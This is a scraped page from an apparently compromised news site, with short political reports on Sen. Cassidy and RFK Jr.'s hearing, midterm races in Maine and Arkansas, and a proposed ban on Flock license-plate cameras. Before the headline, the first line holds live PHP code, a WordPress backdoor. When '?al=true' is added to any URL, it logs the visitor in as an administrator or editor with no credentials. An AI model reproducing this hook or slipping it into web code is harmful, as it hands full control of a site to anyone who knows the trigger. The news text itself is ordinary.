// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Capitol agenda: Sen. Bill Cassidy walks a tightrope at RFK Jr.’s hearing – Blue Light News
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Capitol agenda: Sen. Bill Cassidy walks a tightrope at RFK Jr.’s hearing

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1 year ago

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HHS Secretary Robert F. Kennedy Jr. testifies before Senate Finance Thursday morning. You should be watching how Sen. Bill Cassidy questions him.

Cassidy is walking a fine line amid a tumultuous relationship with President Donald Trump. If Cassidy, a doctor, openly clashes with Kennedy, who recently pushed out a panel of vaccine experts and ousted the head of the CDC, that could imperil the Louisiana Republican’s reelection hopes — which hinge on maintaining Trump’s favor.

Cassidy voted to convict Trump in 2021 over Jan. 6 and has been largely cast aside by the Republican base since. But as 2026 comes into focus, Cassidy has stood firmly by the White House, highlighting his support for the president’s nominees.

Senate Republicans have privately urged the president to endorse Cassidy. They see him as a diligent legislator and a team player.

It’s unlikely Trump will publicly support someone who voted to impeach him. But five Republicans granted anonymity to speak candidly told Blue Light News it’s a real possibility that Trump could choose to remain silent.

“Of course I prefer his endorsement but if it’s not an endorsement, neutral is probably the next best thing,” Cassidy said.

Who else we’re watching in Thursday’s hearing: Republicans who no longer need a future Trump endorsement, notably Sen. Thom Tillis. The North Carolina lawmaker, who voted against Trump’s megabill after announcing his retirement, could be more confrontational about the firing of Susan Monarez just a month after her confirmation.

“You worked with this CDC director for some number of months, then you decided to put her forth for confirmation, and then you fired her four weeks later. Why would we put a priority on replacing her if you determined within four weeks you made a bad decision after months of actually seeing her at work?” Tillis told reporters on Wednesday. “That’s a question I have for him.”

What else we’re watching: 

— CR updates: Appropriations Chairs Rep. Tom Cole (R-Okla.) and Sen. Susan Collins (R-Maine) now want to pass three full-year bills funding the Department of Agriculture and the legislative branch plus military facility funding and veterans’ programs, plus a short-term continuing resolution for the nine remaining bills. Top Democratic appropriators like Sen. Patty Murray of Washington state came out in support of the plan endorsed by Cole and Collins — as long as it’s bipartisan.

— Miran in the hot seat: Senate Banking will consider Stephen Miran for a vacancy on the Federal Reserve board in a confirmation hearing Thursday. Expect intense debate over Trump’s decision to fire Fed Gov. Lisa Cook, though Tillis — who is a pivotal swing vote and has said he would not consider a replacement for Cook until after her firing is litigated in court — told Blue Light News on Wednesday he is a “lean yes” on Miran.

— Codel heads to the border: A bipartisan delegation of Problem Solvers Caucus members is heading to GOP Rep. Juan Ciscomani’s Arizona district Thursday to tour the U.S.-Mexico border with Customs and Border Patrol, according to a person familiar with the plans. The group, led by Ciscomani and Democratic Rep. Jimmy Panetta of California, includes Democratic Reps. Tom Suozzi (N.Y.) and Jim Costa (Calif.) and GOP Reps. Brian Fitzpatrick (Pa.) and Chuck Edwards (N.C.).

Jordain Carney, Benjamin Guggenheim, Calen Razor and Jasper Goodman contributed to this report. 

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Sanders to rally for Troy Jackson in Maine

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5 hours ago

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October 2, 2026

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Sen. Bernie Sanders will hit the road for Troy Jackson in Maine starting Oct. 10, the first time the progressive leader will stump for the candidate this cycle.

The Vermont independent plans to hold three rallies with Jackson, according to an itinerary shared first with Blue Light News: first in Bangor on Oct. 10th followed by Lewiston and Biddeford on Oct. 11.

The Maine swing will kick off Sanders’ travel for the final stretch of the midterms, covering ground throughout October for House and Senate candidates, POLITICO reported.

“Bernie and Troy know that working people built this country and deserve a government that fights for them,” Jackson spokesperson Dan Gottlieb told Blue Light News. “Susan Collins has had nearly 30 years to deliver, and working Mainers are still getting squeezed while she serves the billionaires and corporate interests who bankroll her campaigns. Mainers don’t need another six years of excuses.”

Sanders campaigned ahead of major wins for progressives in the primary season, speaking at more than 60 rallies since last year’s Fight the Oligarchy tour and endorsing more than 90 candidates up and down the ballot.

He’s also opening his substantial $23 million campaign war chest, POLITICO reported, and contributing hundreds of thousands of dollars toMinnesota Lt. Gov. Peggy Flanagan’s Senate campaign and others including Angie Nixon in Florida and Minnesota Attorney General Keith Ellison,

Sanders will return to Maine after initially backing Graham Platner’s campaign for Senate. Allegations reported by POLITICO ultimately led him to call on the Democratic nominee to drop out of the race.

Sanders had not formally endorsed Jackson since he clinched the nomination from Platner, though he previously backed Jackson’s initial run for governor.

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Hill: Trump’s ‘lack of favorability’ creating challenging politics

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5 hours ago

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October 2, 2026

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House Financial Services Chair French Hill said he has “no concerns” about winning back his Arkansas seat in the upcoming midterm elections, but the six-term House member acknowledged the political headwinds for his party.

“I consider the atmosphere a very tough political environment right now because of President [Donald] Trump’s lack of favorability at the top, and you know people are concerned about, as I say, what it’s like to live under an inflated economy the last four years,” Hill said in an interview.

Hill is in a solidly red district, according to the nonpartisan Cook Political Report, and said he is up against a “weaker candidate this time than I’ve had in past races.” Polling in the district, however, has shown a tighter race. The two polls done this year placed Democratic challenger Chris Jones ahead of Hill by a few percentage points. Any perceived polling victory for Jones is still well within the margin of error, and one of the polls had a Democratic sponsor.

Stephannie Lane Baker, a spokesperson for Jones, said that “of all the Republicans in Congress, the chairman of the Financial Services Committee doesn’t get to dodge responsibility for this economy. He’s in trouble, and he knows it.”

Additionally, Illinois Gov. JB Pritzker’s PAC, Ready for the Fight, committed more than $1 million in television ads through the next five weeks for Jones’ race in Arkansas’s 2nd District, Jordan Abudayyeh, a spokesperson for the PAC confirmed. Overall Democratic spending on advertising for the race was just over $1 million, primarily made up by contributions from the Ready for the Fight PAC, with Republicans spending almost $2.7 million on ad buys, according to AdImpact, an advertising tracking service.

Hill said he has addressed affordability concerns “head on” this Congress.

“My work on housing, my work on the Price Stability Act, my work to try to reduce waste, fraud, and abuse, and drop the federal budget deficit as a percentage of GDP,” Hill said. “All these things can contribute to a more affordable environment for people. So I’ve tried to make that a forefront of my campaign this year.”

Hill was a key architect of the 21st Century ROAD to Housing Act, a bipartisan housing affordability bill that became law in July. The Price Stability Act, which is unlikely to become law this year, would narrow the Federal Reserve’s current dual mandate of pursuing maximum employment and price stability to focus exclusively on containing inflation.

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Sanders, AOC, Merkley propose bill to ban Flock cameras

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11 hours ago

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October 2, 2026

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Rep. Alexandria Ocasio-Cortez (D-N.Y.) and Sens. Bernie Sanders (I-Vt.) and Jeff Merkley (D-Ore.) on Friday released text of legislation intended to ban the use of Flock surveillance cameras and other license plate readers.

Flock has faced severe public backlash against the surveillance technology following reports that police officers misused the technology to track women, and it has the largest network of license plate readers across the U.S. Sens. Josh Hawley (R-Mo.) and Dick Durbin (D-Ill.) hosted a hearing last month probing its potential misuses, although the company’s CEO Garrett Langley did not appear.

The latest bill, unveiled Friday and named the Ban Flock Act, would bar federal agencies from using automated license plate readers or accessing data from the technology and prevent federal grants from funding states and local governments that use automated license plate readers.

“At a time of growing concern about the unchecked power of artificial intelligence, Flock is eviscerating the very notion of privacy by installing tens of thousands of cameras in communities across America without their consent,” Sanders, who has positioned himself as a leading progressive voice on AI technology, said in a statement. “We cannot allow America to become a surveillance state where a handful of AI oligarchs profit by giving the government the power to track our every movement.”

Ocasio-Cortez similarly condemned the surveillance capabilities of the technology and said the bill would “enforce our constitutional right to privacy and protect Americans from both corporate and government surveillance.”

“No one should have this unchecked surveillance power at their fingertips,” Merkley added.

Republicans have introduced similar efforts to regulate license plate readers, such as Hawley’s Stop Flock Abuse Act, which would require audits and limits on unauthorized searches.

Flock did not immediately respond to a request for comment.

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